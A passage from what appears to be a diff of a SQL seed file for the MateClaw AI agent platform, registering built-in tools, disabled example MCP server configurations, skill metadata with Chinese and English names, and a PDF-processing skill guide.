'Delegate tasks to other Agents for multi-agent collaboration. Call target Agent by name, run in isolated session and return result.', 'builtin', 'delegateAgentTool', '🤝', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000015, 'VideoGenerateTool', 'Video Generation', 'Generate videos using AI. Supports text-to-video and image-to-video modes. Video generation is asynchronous and will appear in conversation when complete.', 'builtin', 'videoGenerateTool', '🎬', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000016, 'ImageGenerateTool', 'Image Generation', 'Generate images using AI. Supports text-to-image mode with multiple providers: DashScope, OpenAI DALL-E, fal.ai Flux, Zhipu CogView. Auto-fallback between providers.', 'builtin', 'imageGenerateTool', '🎨', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000017, 'WikiTool', 'Wiki Knowledge Base', 'Read, search, and trace sources in Wiki knowledge bases. Supports wiki_read_page, wiki_list_pages, wiki_search_pages, wiki_trace_source.', 'builtin', 'wikiTool', '📚', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: Cron Job Management +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000018, 'CronJobTool', 'Scheduled Tasks', 'Create, list, enable/disable, and delete scheduled tasks (cron jobs) through chat. Supports 5-field cron expressions.', 'builtin', 'cronJobTool', '⏰', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: DOCX Render (RFC-045 — in-process Apache POI, millisecond .docx creation) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000019, 'DocxRenderTool', 'DOCX Render', 'Render Markdown directly into a .docx and return a one-time download link. In-process Apache POI implementation, no Node.js subprocess; supports headings, bold, lists, tables. Preferred tool for creating new documents.', 'builtin', 'docxRenderTool', '📝', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: XLSX Render (in-process Apache POI; markdown tables -> multi-sheet workbook) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000020, 'XlsxRenderTool', 'XLSX Render', 'Render Markdown directly into a .xlsx workbook and return a one-time download link. In-process Apache POI; each # heading becomes a sheet, pipe tables become rows, numeric cells auto-detected.', 'builtin', 'xlsxRenderTool', '📊', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: PPTX Render (in-process Apache POI; Marp-style markdown -> .pptx deck) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000021, 'PptxRenderTool', 'PPTX Render', 'Render Marp-style Markdown directly into a .pptx deck and return a one-time download link. In-process Apache POI; --- separates slides, # / ## titles, - bullets, .', 'builtin', 'pptxRenderTool', '🎞️', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in tool: PDF Render (dual backend: LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback) +INSERT INTO mate_tool (id, name, display_name, description, tool_type, bean_name, icon, enabled, builtin, create_time, update_time, deleted) +VALUES (1000000022, 'PdfRenderTool', 'PDF Render', 'Render Markdown into a final-form .pdf and return a one-time download link. Two backends (LibreOffice subprocess preferred, OpenPDF + Flying Saucer fallback); supports YAML frontmatter for cover / page header / page footer.', 'builtin', 'pdfRenderTool', '📄', TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, display_name=EXCLUDED.display_name, description=EXCLUDED.description, tool_type=EXCLUDED.tool_type, bean_name=EXCLUDED.bean_name, icon=EXCLUDED.icon, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Example MCP Server: Filesystem (see MateClaw docs mcpServers.filesystem) +INSERT INTO mate_mcp_server (id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, + enabled, connect_timeout_seconds, read_timeout_seconds, last_status, last_error, + last_connected_time, tool_count, builtin, create_time, update_time, deleted) +VALUES (1000000901, 'filesystem', 'Filesystem MCP for MateClaw workspace', 'stdio', NULL, NULL, 'npx', '["-y","@modelcontextprotocol/server-filesystem","${user.home}"]', '{}', NULL, FALSE, 30, 60, 'disconnected', NULL, NULL, 0, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, transport=EXCLUDED.transport, url=EXCLUDED.url, headers_json=EXCLUDED.headers_json, command=EXCLUDED.command, args_json=EXCLUDED.args_json, env_json=EXCLUDED.env_json, cwd=EXCLUDED.cwd, enabled=EXCLUDED.enabled, connect_timeout_seconds=EXCLUDED.connect_timeout_seconds, read_timeout_seconds=EXCLUDED.read_timeout_seconds, last_status=EXCLUDED.last_status, last_error=EXCLUDED.last_error, last_connected_time=EXCLUDED.last_connected_time, tool_count=EXCLUDED.tool_count, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Pre-configured MCP Server: GitHub (enable after setting GITHUB_TOKEN env var) +INSERT INTO mate_mcp_server ( + id, name, description, transport, url, headers_json, command, args_json, env_json, cwd, + enabled, connect_timeout_seconds, read_timeout_seconds, last_status, last_error, + last_connected_time, tool_count, builtin, create_time, update_time, deleted +) +VALUES (1000000902, 'github', 'GitHub MCP Server — Search repos/code/issues, manage PRs and files', 'stdio', NULL, NULL, 'npx', '["-y","@modelcontextprotocol/server-github"]', '{"GITHUB_PERSONAL_ACCESS_TOKEN":""}', NULL, FALSE, 30, 60, 'disconnected', NULL, NULL, 0, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, transport=EXCLUDED.transport, url=EXCLUDED.url, headers_json=EXCLUDED.headers_json, command=EXCLUDED.command, args_json=EXCLUDED.args_json, env_json=EXCLUDED.env_json, cwd=EXCLUDED.cwd, enabled=EXCLUDED.enabled, connect_timeout_seconds=EXCLUDED.connect_timeout_seconds, read_timeout_seconds=EXCLUDED.read_timeout_seconds, last_status=EXCLUDED.last_status, last_error=EXCLUDED.last_error, last_connected_time=EXCLUDED.last_connected_time, tool_count=EXCLUDED.tool_count, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- Built-in skills: skill metadata +-- DEPRECATED (RFC-044 §4.2): The authoritative source for builtin skills is now +-- classpath:skills//SKILL.md, upserted on startup by BuiltinSkillSeedService. +-- These INSERT/UPDATE blocks remain as a one-version compatibility shim and will +-- be removed in the next release. New skills should NOT be added here — drop a +-- SKILL.md under skills// and the seed service will register it. +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000001, 'cron', 'Cron job management. Create, query, pause, resume, delete tasks via commands or console. Execute on schedule and send results to channels.', 'builtin', '⏰', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'cron,schedule,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000002, 'file_reader', 'Read and summarize text files such as txt, md, JSONB, csv, log, and code files. PDF and Office files are handled by dedicated skills.', 'builtin', '📄', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'file,reader,text,summary', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000003, 'dingtalk_channel_connect', 'Assist with DingTalk channel setup, supporting visible browser, login pause, and pre-publish checks.', 'builtin', '🤖', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'dingtalk,channel,browser,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000004, 'himalaya', 'Manage emails via CLI with multi-account IMAP/SMTP, search, read, reply, and attachment handling.', 'builtin', '📧', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md","homepage":"https://github.com/pimalaya/himalaya"}', TRUE, TRUE, 'email,imap,smtp,cli', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000005, 'news', 'Query latest news from the internet. Supports politics, finance, society, international, tech, sports, entertainment categories. Auto-adapts to built-in and tool search.', 'builtin', '📰', '2.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'news,web,search,summary', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000006, 'pdf', 'PDF operations: read, extract text and tables, merge/split, rotate, watermark, fill forms, encrypt/decrypt, OCR. Includes scripts for form field extraction, filling, bounding box validation, and PDF-to-image conversion.', 'builtin', '📕', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'pdf,ocr,forms,document', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000007, 'docx', 'Create, read, and edit Word documents with TOC, headers/footers, tables, images, revisions and comments. Includes scripts for XML unpack/pack, schema validation, tracked changes, and LibreOffice integration.', 'builtin', '📝', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'docx,word,document,office', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000008, 'pptx', 'Create, read, and edit PowerPoint presentations with templates, layouts, notes and comments. Includes scripts for slide manipulation, thumbnail generation, XML validation, and LibreOffice integration.', 'builtin', '📊', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'pptx,presentation,slides,office', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000009, 'xlsx', 'Read, edit, create and format spreadsheets with formula support, data cleaning and analysis. Includes scripts for formula recalculation, XML unpack/pack, schema validation, and LibreOffice integration.', 'builtin', '📈', '1.0.0', 'Anthropic Skills', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'xlsx,excel,csv,spreadsheet,data', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000010, 'browser_visible', 'Launch a visible browser window for demos, debugging, or scenarios requiring human interaction.', 'builtin', '🖥️', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'browser,visible,headed,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000012, 'browser_cdp', 'Connect or launch Chrome via CDP for remote debugging, browser sharing, or external tool collaboration.', 'builtin', '🔌', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'browser,cdp,chrome,debugging,automation', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000011, 'guidance', 'Answer user questions about MateClaw installation and configuration by reading local docs first.', 'builtin', '🧭', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'docs,guidance,configuration,qa', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000013, 'mateclaw_source_index', 'Map user questions to MateClaw doc paths and source code entry points to reduce blind searching.', 'builtin', '🗂️', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'docs,index,source,qa', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000014, 'sql_query', 'Query databases using natural language. Discover schemas, generate SQL, and execute read-only queries against configured external datasources.', 'builtin', '📊', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'sql,database,query,data', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000015, 'steve_jobs_perspective', 'Steve Jobs thinking OS. Analyze products, evaluate decisions, and give feedback through Jobs'' perspective, using his six mental models and distinctive expression style.', 'builtin', '🍎', '1.0.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'persona,jobs,product,strategy,thinking', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000016, 'make_plan', 'When a task requires multi-step breakdown or uncertain execution path, request a step-by-step actionable plan from a stronger Agent, then execute it yourself.', 'builtin', '🗺️', '1.3.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'plan,delegate,agent,collaboration', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000017, 'chat_with_agent', 'When you need to consult another Agent, seek help, or the user explicitly requests an Agent to participate, use this skill for single or parallel delegation.', 'builtin', '💬', '1.2.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'agent,chat,collaborate,delegate', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000018, 'channel_message', 'Use when you need to proactively push one-way messages to users, sessions, or channels. For task completion notifications, scheduled reminders, and async result delivery.', 'builtin', '📤', '1.3.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'channel,message,push,notify,dingtalk,feishu', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_skill (id, name, description, skill_type, icon, version, author, config_json, enabled, builtin, tags, create_time, update_time, deleted) +VALUES (1000000019, 'multi_agent_collaboration', 'When a task requires the professional capabilities of multiple Agents, orchestrate parallel or serial multi-agent collaboration and integrate results.', 'builtin', '🤝', '1.4.0', 'MateClaw', '{"upstream":"mateclaw","entryFile":"SKILL.md"}', TRUE, TRUE, 'multi-agent,collaboration,orchestration,parallel', NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, description=EXCLUDED.description, skill_type=EXCLUDED.skill_type, icon=EXCLUDED.icon, version=EXCLUDED.version, author=EXCLUDED.author, config_json=EXCLUDED.config_json, enabled=EXCLUDED.enabled, builtin=EXCLUDED.builtin, tags=EXCLUDED.tags, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +-- RFC-042 §2.2 — bilingual display names for the 19 builtin skills. +-- Identical across all four data-*.sql files because name_zh / name_en are +-- permanent attributes, not locale-conditional. The UI picks which one to +-- show based on the active i18n locale and falls back to name when null. +UPDATE mate_skill SET name_zh = '定时任务', name_en = 'Cron Jobs' WHERE name = 'cron'; +UPDATE mate_skill SET name_zh = '文件阅读器', name_en = 'File Reader' WHERE name = 'file_reader'; +UPDATE mate_skill SET name_zh = '钉钉渠道接入', name_en = 'DingTalk Channel' WHERE name = 'dingtalk_channel_connect'; +UPDATE mate_skill SET name_zh = '邮件管理', name_en = 'Email (Himalaya)' WHERE name = 'himalaya'; +UPDATE mate_skill SET name_zh = '新闻查询', name_en = 'News' WHERE name = 'news'; +UPDATE mate_skill SET name_zh = 'PDF 处理', name_en = 'PDF' WHERE name = 'pdf'; +UPDATE mate_skill SET name_zh = 'Word 文档', name_en = 'Word Document' WHERE name = 'docx'; +UPDATE mate_skill SET name_zh = 'PPT 演示', name_en = 'PowerPoint' WHERE name = 'pptx'; +UPDATE mate_skill SET name_zh = 'Excel 表格', name_en = 'Excel' WHERE name = 'xlsx'; +UPDATE mate_skill SET name_zh = '可见浏览器', name_en = 'Visible Browser' WHERE name = 'browser_visible'; +UPDATE mate_skill SET name_zh = '浏览器 CDP', name_en = 'Browser CDP' WHERE name = 'browser_cdp'; +UPDATE mate_skill SET name_zh = '安装指引', name_en = 'Setup Guidance' WHERE name = 'guidance'; +UPDATE mate_skill SET name_zh = '源码索引', name_en = 'Source Index' WHERE name = 'mateclaw_source_index'; +UPDATE mate_skill SET name_zh = 'SQL 查询', name_en = 'SQL Query' WHERE name = 'sql_query'; +UPDATE mate_skill SET name_zh = '乔布斯视角', name_en = 'Steve Jobs Perspective' WHERE name = 'steve_jobs_perspective'; +UPDATE mate_skill SET name_zh = '制定计划', name_en = 'Make Plan' WHERE name = 'make_plan'; +UPDATE mate_skill SET name_zh = '咨询智能体', name_en = 'Chat with Agent' WHERE name = 'chat_with_agent'; +UPDATE mate_skill SET name_zh = '渠道推送', name_en = 'Channel Push' WHERE name = 'channel_message'; +UPDATE mate_skill SET name_zh = '多智能体协作', name_en = 'Multi-Agent Collaboration' WHERE name = 'multi_agent_collaboration'; + +-- Populate skill_content for key built-in skills (SKILL.md execution protocol) +-- NOTE: For pdf/docx/pptx/xlsx/himalaya, the authoritative SKILL.md is bundled in +-- classpath:skills/{name}/ and auto-synced to workspace on startup. +-- The database skill_content below is a lightweight fallback if workspace is unavailable. +UPDATE mate_skill SET skill_content = '# PDF Processing Guide + +## Capabilities +- Read PDF: extract text using extract_pdf_text or extract_document_text +- Extract tables and metadata +- Merge/split PDF (via skill scripts) +- Rotate pages, add watermarks +- Fill PDF forms (via scripts/fill_fillable_fields.py, scripts/fill_pdf_form_with_annotations.py) +- Encrypt/decrypt PDF +- OCR scanned documents + +## Available Scripts (in skill workspace) +- scripts/check_fillable_fields.py - detect fillable form fields +- scripts/extract_form_field_info.py - extract form field metadata +- scripts/extract_form_structure.py - analyze non-fillable PDF structure +- scripts/fill_fillable_fields.py - fill form fields +- scripts/fill_pdf_form_with_annotations.py - fill with annotations +- scripts/check_bounding_boxes.py - validate form bounding boxes +- scripts/convert_pdf_to_images.py - convert PDF pages to images +- scripts/create_validation_image.py - create overlay validation images + +## Correct Usage + +### Extract PDF text (recommended) +tool +extract_pdf_text(filePath="/path/to/document.pdf") + + +### Specify page range +tool +extract_pdf_text(filePath="/path/to/document.pdf", pages="1-5") + + +## Important +- NEVER use read_file on PDF - returns binary garbage +- Always use extract_pdf_text or extract_document_text +- Use run_skill_script to execute scripts in the scripts/ directory + +## Extraction strategy (auto fallback) +1. pdftotext (poppler-utils) - best quality +2. Python pdfplumber/pypdf +3. Java PDF parser - pure Java, no external dependencies + +The result shows which method was used.' WHERE id = 1000000006; + +UPDATE mate_skill SET skill_content = '# Word Document Processing + +## Capabilities +- Read and extract Word content: use extract_docx_text or extract_document_text +- Create new Word documents (.docx) with docx-js (Node.js) +- Edit existing documents: unpack XML -> edit -> repack with validation +- Handle tracked changes, comments, images +- Support TOC generation, headers/footers + +## Available Scripts 